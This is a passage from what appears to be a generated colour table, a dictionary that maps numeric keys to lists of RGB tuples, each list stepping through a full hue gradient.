117), (204, 101, 112), (204, 101, 107)], 120: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 127, 101), (204, 132, 101), (204, 137, 101), (204, 142, 101), (204, 147, 101), (204, 152, 101), (204, 158, 101), (204, 163, 101), (204, 168, 101), (204, 173, 101), (204, 178, 101), (204, 183, 101), (204, 188, 101), (204, 193, 101), (204, 198, 101), (204, 204, 101), (198, 204, 101), (193, 204, 101), (188, 204, 101), (183, 204, 101), (178, 204, 101), (173, 204, 101), (168, 204, 101), (163, 204, 101), (158, 204, 101), (153, 204, 101), (147, 204, 101), (142, 204, 101), (137, 204, 101), (132, 204, 101), (127, 204, 101), (122, 204, 101), (117, 204, 101), (112, 204, 101), (107, 204, 101), (102, 204, 101), (101, 204, 107), (101, 204, 112), (101, 204, 117), (101, 204, 122), (101, 204, 127), (101, 204, 132), (101, 204, 137), (101, 204, 142), (101, 204, 147), (101, 204, 153), (101, 204, 158), (101, 204, 163), (101, 204, 168), (101, 204, 173), (101, 204, 178), (101, 204, 183), (101, 204, 188), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 188, 204), (101, 183, 204), (101, 178, 204), (101, 173, 204), (101, 168, 204), (101, 163, 204), (101, 158, 204), (101, 152, 204), (101, 147, 204), (101, 142, 204), (101, 137, 204), (101, 132, 204), (101, 127, 204), (101, 122, 204), (101, 117, 204), (101, 112, 204), (101, 107, 204), (101, 102, 204), (107, 101, 204), (112, 101, 204), (117, 101, 204), (122, 101, 204), (127, 101, 204), (132, 101, 204), (137, 101, 204), (142, 101, 204), (147, 101, 204), (152, 101, 204), (158, 101, 204), (163, 101, 204), (168, 101, 204), (173, 101, 204), (178, 101, 204), (183, 101, 204), (188, 101, 204), (193, 101, 204), (198, 101, 204), (204, 101, 203), (204, 101, 198), (204, 101, 193), (204, 101, 188), (204, 101, 183), (204, 101, 178), (204, 101, 173), (204, 101, 168), (204, 101, 163), (204, 101, 158), (204, 101, 153), (204, 101, 147), (204, 101, 142), (204, 101, 137), (204, 101, 132), (204, 101, 127), (204, 101, 122), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 121: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 127, 101), (204, 132, 101), (204, 137, 101), (204, 142, 101), (204, 147, 101), (204, 152, 101), (204, 157, 101), (204, 162, 101), (204, 167, 101), (204, 172, 101), (204, 177, 101), (204, 182, 101), (204, 187, 101), (204, 193, 101), (204, 198, 101), (204, 203, 101), (199, 204, 101), (194, 204, 101), (189, 204, 101), (184, 204, 101), (179, 204, 101), (174, 204, 101), (169, 204, 101), (164, 204, 101), (159, 204, 101), (154, 204, 101), (149, 204, 101), (144, 204, 101), (139, 204, 101), (134, 204, 101), (128, 204, 101), (123, 204, 101), (118, 204, 101), (113, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 110), (101, 204, 115), (101, 204, 120), (101, 204, 125), (101, 204, 130), (101, 204, 135), (101, 204, 140), (101, 204, 145), (101, 204, 150), (101, 204, 155), (101, 204, 161), (101, 204, 166), (101, 204, 171), (101, 204, 176), (101, 204, 181), (101, 204, 186), (101, 204, 191), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 191, 204), (101, 186, 204), (101, 181, 204), (101, 176, 204), (101, 171, 204), (101, 166, 204), (101, 161, 204), (101, 155, 204), (101, 150, 204), (101, 145, 204), (101, 140, 204), (101, 135, 204), (101, 130, 204), (101, 125, 204), (101, 120, 204), (101, 115, 204), (101, 110, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (113, 101, 204), (118, 101, 204), (123, 101, 204), (128, 101, 204), (134, 101, 204), (139, 101, 204), (144, 101, 204), (149, 101, 204), (154, 101, 204), (159, 101, 204), (164, 101, 204), (169, 101, 204), (174, 101, 204), (179, 101, 204), (184, 101, 204), (189, 101, 204), (194, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 198), (204, 101, 193), (204, 101, 187), (204, 101, 182), (204, 101, 177), (204, 101, 172), (204, 101, 167), (204, 101, 162), (204, 101, 157), (204, 101, 152), (204, 101, 147), (204, 101, 142), (204, 101, 137), (204, 101, 132), (204, 101, 127), (204, 101, 122), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 122: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 127, 101), (204, 132, 101), (204, 137, 101), (204, 142, 101), (204, 147, 101), (204, 152, 101), (204, 157, 101), (204, 162, 101), (204, 167, 101), (204, 172, 101), (204, 177, 101), (204, 182, 101), (204, 187, 101), (204, 192, 101), (204, 197, 101), (204, 202, 101), (200, 204, 101), (195, 204, 101), (190, 204, 101), (185, 204, 101), (180, 204, 101), (175, 204, 101), (170, 204, 101), (165, 204, 101), (160, 204, 101), (155, 204, 101), (150, 204, 101), (145, 204, 101), (140, 204, 101), (135, 204, 101), (130, 204, 101), (125, 204, 101), (120, 204, 101), (115, 204, 101), (110, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 113), (101, 204, 118), (101, 204, 123), (101, 204, 128), (101, 204, 133), (101, 204, 138), (101, 204, 143), (101, 204, 148), (101, 204, 153), (101, 204, 158), (101, 204, 163), (101, 204, 168), (101, 204, 173), (101, 204, 178), (101, 204, 183), (101, 204, 188), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 188, 204), (101, 183, 204), (101, 178, 204), (101, 173, 204), (101, 168, 204), (101, 163, 204), (101, 158, 204), (101, 153, 204), (101, 148, 204), (101, 143, 204), (101, 138, 204), (101, 133, 204), (101, 128, 204), (101, 123, 204), (101, 118, 204), (101, 113, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (110, 101, 204), (115, 101, 204), (120, 101, 204), (125, 101, 204), (130, 101, 204), (135, 101, 204), (140, 101, 204), (145, 101, 204), (150, 101, 204), (155, 101, 204), (160, 101, 204), (165, 101, 204), (170, 101, 204), (175, 101, 204), (180, 101, 204), (185, 101, 204), (190, 101, 204), (195, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 197), (204, 101, 192), (204, 101, 187), (204, 101, 182), (204, 101, 177), (204, 101, 172), (204, 101, 167), (204, 101, 162), (204, 101, 157), (204, 101, 152), (204, 101, 147), (204, 101, 142), (204, 101, 137), (204, 101, 132), (204, 101, 127), (204, 101, 122), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 123: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 126, 101), (204, 131, 101), (204, 136, 101), (204, 141, 101), (204, 146, 101), (204, 151, 101), (204, 156, 101), (204, 161, 101), (204, 166, 101), (204, 171, 101), (204, 176, 101), (204, 181, 101), (204, 186, 101), (204, 191, 101), (204, 196, 101), (204, 201, 101), (201, 204, 101), (196, 204, 101), (191, 204, 101), (186, 204, 101), (181, 204, 101), (176, 204, 101), (171, 204, 101), (166, 204, 101), (161, 204, 101), (156, 204, 101), (151, 204, 101), (146, 204, 101), (141, 204, 101), (136, 204, 101), (131, 204, 101), (126, 204, 101), (121, 204, 101), (116, 204, 101), (111, 204, 101), (106, 204, 101), (101, 204, 102), (101, 204, 106), (101, 204, 111), (101, 204, 116), (101, 204, 121), (101, 204, 126), (101, 204, 131), (101, 204, 136), (101, 204, 141), (101, 204, 146), (101, 204, 151), (101, 204, 156), (101, 204, 161), (101, 204, 166), (101, 204, 171), (101, 204, 176), (101, 204, 181), (101, 204, 186), (101, 204, 191), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 191, 204), (101, 186, 204), (101, 181, 204), (101, 176, 204), (101, 171, 204), (101, 166, 204), (101, 161, 204), (101, 156, 204), (101, 151, 204), (101, 146, 204), (101, 141, 204), (101, 136, 204), (101, 131, 204), (101, 126, 204), (101, 121, 204), (101, 116, 204), (101, 111, 204), (101, 106, 204), (101, 101, 204), (106, 101, 204), (111, 101, 204), (116, 101, 204), (121, 101, 204), (126, 101, 204), (131, 101, 204), (136, 101, 204), (141, 101, 204), (146, 101, 204), (151, 101, 204), (156, 101, 204), (161, 101, 204), (166, 101, 204), (171, 101, 204), (176, 101, 204), (181, 101, 204), (186, 101, 204), (191, 101, 204), (196, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 196), (204, 101, 191), (204, 101, 186), (204, 101, 181), (204, 101, 176), (204, 101, 171), (204, 101, 166), (204, 101, 161), (204, 101, 156), (204, 101, 151), (204, 101, 146), (204, 101, 141), (204, 101, 136), (204, 101, 131), (204, 101, 126), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 124: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 126, 101), (204, 131, 101), (204, 136, 101), (204, 141, 101), (204, 146, 101), (204, 151, 101), (204, 156, 101), (204, 161, 101), (204, 166, 101), (204, 171, 101), (204, 176, 101), (204, 180, 101), (204, 185, 101), (204, 190, 101), (204, 195, 101), (204, 200, 101), (202, 204, 101), (197, 204, 101), (192, 204, 101), (187, 204, 101), (182, 204, 101), (177, 204, 101), (172, 204, 101), (167, 204, 101), (162, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (143, 204, 101), (138, 204, 101), (133, 204, 101), (128, 204, 101), (123, 204, 101), (118, 204, 101), (113, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 110), (101, 204, 115), (101, 204, 120), (101, 204, 125), (101, 204, 129), (101, 204, 134), (101, 204, 139), (101, 204, 144), (101, 204, 149), (101, 204, 154), (101, 204, 159), (101, 204, 164), (101, 204, 169), (101, 204, 174), (101, 204, 179), (101, 204, 184), (101, 204, 189), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 189, 204), (101, 184, 204), (101, 179, 204), (101, 174, 204), (101, 169, 204), (101, 164, 204), (101, 159, 204), (101, 154, 204), (101, 149, 204), (101, 144, 204), (101, 139, 204), (101, 134, 204), (101, 129, 204), (101, 125, 204), (101, 120, 204), (101, 115, 204), (101, 110, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (113, 101, 204), (118, 101, 204), (123, 101, 204), (128, 101, 204), (133, 101, 204), (138, 101, 204), (143, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (162, 101, 204), (167, 101, 204), (172, 101, 204), (177, 101, 204), (182, 101, 204), (187, 101, 204), (192, 101, 204), (197, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 195), (204, 101, 190), (204, 101, 185), (204, 101, 180), (204, 101, 176), (204, 101, 171), (204, 101, 166), (204, 101, 161), (204, 101, 156), (204, 101, 151), (204, 101, 146), (204, 101, 141), (204, 101, 136), (204, 101, 131), (204, 101, 126), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 125: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 126, 101), (204, 131, 101), (204, 136, 101), (204, 141, 101), (204, 146, 101), (204, 150, 101), (204, 155, 101), (204, 160, 101), (204, 165, 101), (204, 170, 101), (204, 175, 101), (204, 180, 101), (204, 185, 101), (204, 190, 101), (204, 195, 101), (204, 199, 101), (203, 204, 101), (198, 204, 101), (193, 204, 101), (188, 204, 101), (183, 204, 101), (178, 204, 101), (173, 204, 101), (168, 204, 101), (164, 204, 101), (159, 204, 101), (154, 204, 101), (149, 204, 101), (144, 204, 101), (139, 204, 101), (134, 204, 101), (129, 204, 101), (124, 204, 101), (119, 204, 101), (115, 204, 101), (110, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 113), (101, 204, 118), (101, 204, 123), (101, 204, 128), (101, 204, 133), (101, 204, 137), (101, 204, 142), (101, 204, 147), (101, 204, 152), (101, 204, 157), (101, 204, 162), (101, 204, 167), (101, 204, 172), (101, 204, 177), (101, 204, 181), (101, 204, 186), (101, 204, 191), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 191, 204), (101, 186, 204), (101, 181, 204), (101, 177, 204), (101, 172, 204), (101, 167, 204), (101, 162, 204), (101, 157, 204), (101, 152, 204), (101, 147, 204), (101, 142, 204), (101, 137, 204), (101, 133, 204), (101, 128, 204), (101, 123, 204), (101, 118, 204), (101, 113, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (110, 101, 204), (115, 101, 204), (119, 101, 204), (124, 101, 204), (129, 101, 204), (134, 101, 204), (139, 101, 204), (144, 101, 204), (149, 101, 204), (154, 101, 204), (159, 101, 204), (164, 101, 204), (168, 101, 204), (173, 101, 204), (178, 101, 204), (183, 101, 204), (188, 101, 204), (193, 101, 204), (198, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 195), (204, 101, 190), (204, 101, 185), (204, 101, 180), (204, 101, 175), (204, 101, 170), (204, 101, 165), (204, 101, 160), (204, 101, 155), (204, 101, 150), (204, 101, 146), (204, 101, 141), (204, 101, 136), (204, 101, 131), (204, 101, 126), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 126: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 126, 101), (204, 131, 101), (204, 136, 101), (204, 140, 101), (204, 145, 101), (204, 150, 101), (204, 155, 101), (204, 160, 101), (204, 165, 101), (204, 170, 101), (204, 174, 101), (204, 179, 101), (204, 184, 101), (204, 189, 101), (204, 194, 101), (204, 199, 101), (204, 204, 101), (199, 204, 101), (194, 204, 101), (189, 204, 101), (184, 204, 101), (179, 204, 101), (174, 204, 101), (169, 204, 101), (165, 204, 101), (160, 204, 101), (155, 204, 101), (150, 204, 101), (145, 204, 101), (140, 204, 101), (136, 204, 101), (131, 204, 101), (126, 204, 101), (121, 204, 101), (116, 204, 101), (111, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 111), (101, 204, 116), (101, 204, 121), (101, 204, 126), (101, 204, 131), (101, 204, 135), (101, 204, 140), (101, 204, 145), (101, 204, 150), (101, 204, 155), (101, 204, 160), (101, 204, 165), (101, 204, 170), (101, 204, 174), (101, 204, 179), (101, 204, 184), (101, 204, 189), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 189, 204), (101, 184, 204), (101, 179, 204), (101, 174, 204), (101, 169, 204), (101, 165, 204), (101, 160, 204), (101, 155, 204), (101, 150, 204), (101, 145, 204), (101, 140, 204), (101, 135, 204), (101, 131, 204), (101, 126, 204), (101, 121, 204), (101, 116, 204), (101, 111, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (111, 101, 204), (116, 101, 204), (121, 101, 204), (126, 101, 204), (131, 101, 204), (136, 101, 204), (140, 101, 204), (145, 101, 204), (150, 101, 204), (155, 101, 204), (160, 101, 204), (165, 101, 204), (169, 101, 204), (174, 101, 204), (179, 101, 204), (184, 101, 204), (189, 101, 204), (194, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 194), (204, 101, 189), (204, 101, 184), (204, 101, 179), (204, 101, 174), (204, 101, 169), (204, 101, 165), (204, 101, 160), (204, 101, 155), (204, 101, 150), (204, 101, 145), (204, 101, 140), (204, 101, 135), (204, 101, 131), (204, 101, 126), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 127: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 126, 101), (204, 130, 101), (204, 135, 101), (204, 140, 101), (204, 145, 101), (204, 150, 101), (204, 155, 101), (204, 159, 101), (204, 164, 101), (204, 169, 101), (204, 174, 101), (204, 179, 101), (204, 183, 101), (204, 188, 101), (204, 193, 101), (204, 198, 101), (204, 203, 101), (199, 204, 101), (195, 204, 101), (190, 204, 101), (185, 204, 101), (180, 204, 101), (175, 204, 101), (171, 204, 101), (166, 204, 101), (161, 204, 101), (156, 204, 101), (151, 204, 101), (146, 204, 101), (142, 204, 101), (137, 204, 101), (132, 204, 101), (127, 204, 101), (122, 204, 101), (118, 204, 101), (113, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 110), (101, 204, 114), (101, 204, 119), (101, 204, 124), (101, 204, 129), (101, 204, 134), (101, 204, 138), (101, 204, 143), (101, 204, 148), (101, 204, 153), (101, 204, 158), (101, 204, 163), (101, 204, 167), (101, 204, 172), (101, 204, 177), (101, 204, 182), (101, 204, 187), (101, 204, 191), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 191, 204), (101, 187, 204), (101, 182, 204), (101, 177, 204), (101, 172, 204), (101, 167, 204), (101, 163, 204), (101, 158, 204), (101, 153, 204), (101, 148, 204), (101, 143, 204), (101, 138, 204), (101, 134, 204), (101, 129, 204), (101, 124, 204), (101, 119, 204), (101, 114, 204), (101, 110, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (113, 101, 204), (118, 101, 204), (122, 101, 204), (127, 101, 204), (132, 101, 204), (137, 101, 204), (142, 101, 204), (146, 101, 204), (151, 101, 204), (156, 101, 204), (161, 101, 204), (166, 101, 204), (171, 101, 204), (175, 101, 204), (180, 101, 204), (185, 101, 204), (190, 101, 204), (195, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 198), (204, 101, 193), (204, 101, 188), (204, 101, 183), (204, 101, 179), (204, 101, 174), (204, 101, 169), (204, 101, 164), (204, 101, 159), (204, 101, 155), (204, 101, 150), (204, 101, 145), (204, 101, 140), (204, 101, 135), (204, 101, 130), (204, 101, 126), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 128: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 121, 101), (204, 125, 101), (204, 130, 101), (204, 135, 101), (204, 140, 101), (204, 145, 101), (204, 149, 101), (204, 154, 101), (204, 159, 101), (204, 164, 101), (204, 168, 101), (204, 173, 101), (204, 178, 101), (204, 183, 101), (204, 188, 101), (204, 192, 101), (204, 197, 101), (204, 202, 101), (200, 204, 101), (196, 204, 101), (191, 204, 101), (186, 204, 101), (181, 204, 101), (176, 204, 101), (172, 204, 101), (167, 204, 101), (162, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (143, 204, 101), (138, 204, 101), (133, 204, 101), (129, 204, 101), (124, 204, 101), (119, 204, 101), (114, 204, 101), (109, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 113), (101, 204, 117), (101, 204, 122), (101, 204, 127), (101, 204, 132), (101, 204, 137), (101, 204, 141), (101, 204, 146), (101, 204, 151), (101, 204, 156), (101, 204, 160), (101, 204, 165), (101, 204, 170), (101, 204, 175), (101, 204, 180), (101, 204, 184), (101, 204, 189), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 189, 204), (101, 184, 204), (101, 180, 204), (101, 175, 204), (101, 170, 204), (101, 165, 204), (101, 160, 204), (101, 156, 204), (101, 151, 204), (101, 146, 204), (101, 141, 204), (101, 137, 204), (101, 132, 204), (101, 127, 204), (101, 122, 204), (101, 117, 204), (101, 113, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (109, 101, 204), (114, 101, 204), (119, 101, 204), (124, 101, 204), (129, 101, 204), (133, 101, 204), (138, 101, 204), (143, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (162, 101, 204), (167, 101, 204), (172, 101, 204), (176, 101, 204), (181, 101, 204), (186, 101, 204), (191, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 197), (204, 101, 192), (204, 101, 188), (204, 101, 183), (204, 101, 178), (204, 101, 173), (204, 101, 168), (204, 101, 164), (204, 101, 159), (204, 101, 154), (204, 101, 149), (204, 101, 145), (204, 101, 140), (204, 101, 135), (204, 101, 130), (204, 101, 125), (204, 101, 121), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 129: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 120, 101), (204, 125, 101), (204, 130, 101), (204, 135, 101), (204, 139, 101), (204, 144, 101), (204, 149, 101), (204, 154, 101), (204, 158, 101), (204, 163, 101), (204, 168, 101), (204, 173, 101), (204, 177, 101), (204, 182, 101), (204, 187, 101), (204, 192, 101), (204, 196, 101), (204, 201, 101), (201, 204, 101), (196, 204, 101), (192, 204, 101), (187, 204, 101), (182, 204, 101), (177, 204, 101), (173, 204, 101), (168, 204, 101), (163, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (144, 204, 101), (139, 204, 101), (135, 204, 101), (130, 204, 101), (125, 204, 101), (120, 204, 101), (116, 204, 101), (111, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 111), (101, 204, 116), (101, 204, 120), (101, 204, 125), (101, 204, 130), (101, 204, 135), (101, 204, 139), (101, 204, 144), (101, 204, 149), (101, 204, 154), (101, 204, 158), (101, 204, 163), (101, 204, 168), (101, 204, 173), (101, 204, 177), (101, 204, 182), (101, 204, 187), (101, 204, 192), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 192, 204), (101, 187, 204), (101, 182, 204), (101, 177, 204), (101, 173, 204), (101, 168, 204), (101, 163, 204), (101, 158, 204), (101, 154, 204), (101, 149, 204), (101, 144, 204), (101, 139, 204), (101, 135, 204), (101, 130, 204), (101, 125, 204), (101, 120, 204), (101, 116, 204), (101, 111, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (111, 101, 204), (116, 101, 204), (120, 101, 204), (125, 101, 204), (130, 101, 204), (135, 101, 204), (139, 101, 204), (144, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (163, 101, 204), (168, 101, 204), (173, 101, 204), (177, 101, 204), (182, 101, 204), (187, 101, 204), (192, 101, 204), (196, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 196), (204, 101, 192), (204, 101, 187), (204, 101, 182), (204, 101, 177), (204, 101, 173), (204, 101, 168), (204, 101, 163), (204, 101, 158), (204, 101, 154), (204, 101, 149), (204, 101, 144), (204, 101, 139), (204, 101, 135), (204, 101, 130), (204, 101, 125), (204, 101, 120), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 130: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 120, 101), (204, 125, 101), (204, 130, 101), (204, 134, 101), (204, 139, 101), (204, 144, 101), (204, 149, 101), (204, 153, 101), (204, 158, 101), (204, 163, 101), (204, 167, 101), (204, 172, 101), (204, 177, 101), (204, 182, 101), (204, 186, 101), (204, 191, 101), (204, 196, 101), (204, 200, 101), (202, 204, 101), (197, 204, 101), (193, 204, 101), (188, 204, 101), (183, 204, 101), (178, 204, 101), (174, 204, 101), (169, 204, 101), (164, 204, 101), (160, 204, 101), (155, 204, 101), (150, 204, 101), (145, 204, 101), (141, 204, 101), (136, 204, 101), (131, 204, 101), (127, 204, 101), (122, 204, 101), (117, 204, 101), (112, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 109), (101, 204, 114), (101, 204, 119), (101, 204, 123), (101, 204, 128), (101, 204, 133), (101, 204, 138), (101, 204, 142), (101, 204, 147), (101, 204, 152), (101, 204, 156), (101, 204, 161), (101, 204, 166), (101, 204, 171), (101, 204, 175), (101, 204, 180), (101, 204, 185), (101, 204, 189), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 189, 204), (101, 185, 204), (101, 180, 204), (101, 175, 204), (101, 171, 204), (101, 166, 204), (101, 161, 204), (101, 156, 204), (101, 152, 204), (101, 147, 204), (101, 142, 204), (101, 138, 204), (101, 133, 204), (101, 128, 204), (101, 123, 204), (101, 119, 204), (101, 114, 204), (101, 109, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (112, 101, 204), (117, 101, 204), (122, 101, 204), (127, 101, 204), (131, 101, 204), (136, 101, 204), (141, 101, 204), (145, 101, 204), (150, 101, 204), (155, 101, 204), (160, 101, 204), (164, 101, 204), (169, 101, 204), (174, 101, 204), (178, 101, 204), (183, 101, 204), (188, 101, 204), (193, 101, 204), (197, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 191), (204, 101, 186), (204, 101, 182), (204, 101, 177), (204, 101, 172), (204, 101, 167), (204, 101, 163), (204, 101, 158), (204, 101, 153), (204, 101, 149), (204, 101, 144), (204, 101, 139), (204, 101, 134), (204, 101, 130), (204, 101, 125), (204, 101, 120), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 131: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 116, 101), (204, 120, 101), (204, 125, 101), (204, 130, 101), (204, 134, 101), (204, 139, 101), (204, 144, 101), (204, 148, 101), (204, 153, 101), (204, 158, 101), (204, 162, 101), (204, 167, 101), (204, 172, 101), (204, 176, 101), (204, 181, 101), (204, 186, 101), (204, 190, 101), (204, 195, 101), (204, 200, 101), (203, 204, 101), (198, 204, 101), (193, 204, 101), (189, 204, 101), (184, 204, 101), (179, 204, 101), (175, 204, 101), (170, 204, 101), (165, 204, 101), (161, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (142, 204, 101), (137, 204, 101), (133, 204, 101), (128, 204, 101), (123, 204, 101), (119, 204, 101), (114, 204, 101), (109, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 112), (101, 204, 117), (101, 204, 122), (101, 204, 126), (101, 204, 131), (101, 204, 136), (101, 204, 140), (101, 204, 145), (101, 204, 150), (101, 204, 154), (101, 204, 159), (101, 204, 164), (101, 204, 168), (101, 204, 173), (101, 204, 178), (101, 204, 182), (101, 204, 187), (101, 204, 192), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 192, 204), (101, 187, 204), (101, 182, 204), (101, 178, 204), (101, 173, 204), (101, 168, 204), (101, 164, 204), (101, 159, 204), (101, 154, 204), (101, 150, 204), (101, 145, 204), (101, 140, 204), (101, 136, 204), (101, 131, 204), (101, 126, 204), (101, 122, 204), (101, 117, 204), (101, 112, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (109, 101, 204), (114, 101, 204), (119, 101, 204), (123, 101, 204), (128, 101, 204), (133, 101, 204), (137, 101, 204), (142, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (161, 101, 204), (165, 101, 204), (170, 101, 204), (175, 101, 204), (179, 101, 204), (184, 101, 204), (189, 101, 204), (193, 101, 204), (198, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 195), (204, 101, 190), (204, 101, 186), (204, 101, 181), (204, 101, 176), (204, 101, 172), (204, 101, 167), (204, 101, 162), (204, 101, 158), (204, 101, 153), (204, 101, 148), (204, 101, 144), (204, 101, 139), (204, 101, 134), (204, 101, 130), (204, 101, 125), (204, 101, 120), (204, 101, 116), (204, 101, 111), (204, 101, 106)], 132: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 115, 101), (204, 120, 101), (204, 125, 101), (204, 129, 101), (204, 134, 101), (204, 139, 101), (204, 143, 101), (204, 148, 101), (204, 152, 101), (204, 157, 101), (204, 162, 101), (204, 166, 101), (204, 171, 101), (204, 176, 101), (204, 180, 101), (204, 185, 101), (204, 190, 101), (204, 194, 101), (204, 199, 101), (204, 204, 101), (199, 204, 101), (194, 204, 101), (190, 204, 101), (185, 204, 101), (180, 204, 101), (176, 204, 101), (171, 204, 101), (166, 204, 101), (162, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (143, 204, 101), (139, 204, 101), (134, 204, 101), (129, 204, 101), (125, 204, 101), (120, 204, 101), (115, 204, 101), (111, 204, 101), (106, 204, 101), (101, 204, 102), (101, 204, 106), (101, 204, 111), (101, 204, 115), (101, 204, 120), (101, 204, 125), (101, 204, 129), (101, 204, 134), (101, 204, 139), (101, 204, 143), (101, 204, 148), (101, 204, 153), (101, 204, 157), (101, 204, 162), (101, 204, 166), (101, 204, 171), (101, 204, 176), (101, 204, 180), (101, 204, 185), (101, 204, 190), (101, 204, 194), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 194, 204), (101, 190, 204), (101, 185, 204), (101, 180, 204), (101, 176, 204), (101, 171, 204), (101, 166, 204), (101, 162, 204), (101, 157, 204), (101, 152, 204), (101, 148, 204), (101, 143, 204), (101, 139, 204), (101, 134, 204), (101, 129, 204), (101, 125, 204), (101, 120, 204), (101, 115, 204), (101, 111, 204), (101, 106, 204), (101, 101, 204), (106, 101, 204), (111, 101, 204), (115, 101, 204), (120, 101, 204), (125, 101, 204), (129, 101, 204), (134, 101, 204), (139, 101, 204), (143, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (162, 101, 204), (166, 101, 204), (171, 101, 204), (176, 101, 204), (180, 101, 204), (185, 101, 204), (190, 101, 204), (194, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 194), (204, 101, 190), (204, 101, 185), (204, 101, 180), (204, 101, 176), (204, 101, 171), (204, 101, 166), (204, 101, 162), (204, 101, 157), (204, 101, 152), (204, 101, 148), (204, 101, 143), (204, 101, 139), (204, 101, 134), (204, 101, 129), (204, 101, 125), (204, 101, 120), (204, 101, 115), (204, 101, 111), (204, 101, 106)], 133: [(204, 101, 101), (204, 106, 101), (204, 111, 101), (204, 115, 101), (204, 120, 101), (204, 125, 101), (204, 129, 101), (204, 134, 101), (204, 138, 101), (204, 143, 101), (204, 148, 101), (204, 152, 101), (204, 157, 101), (204, 161, 101), (204, 166, 101), (204, 171, 101), (204, 175, 101), (204, 180, 101), (204, 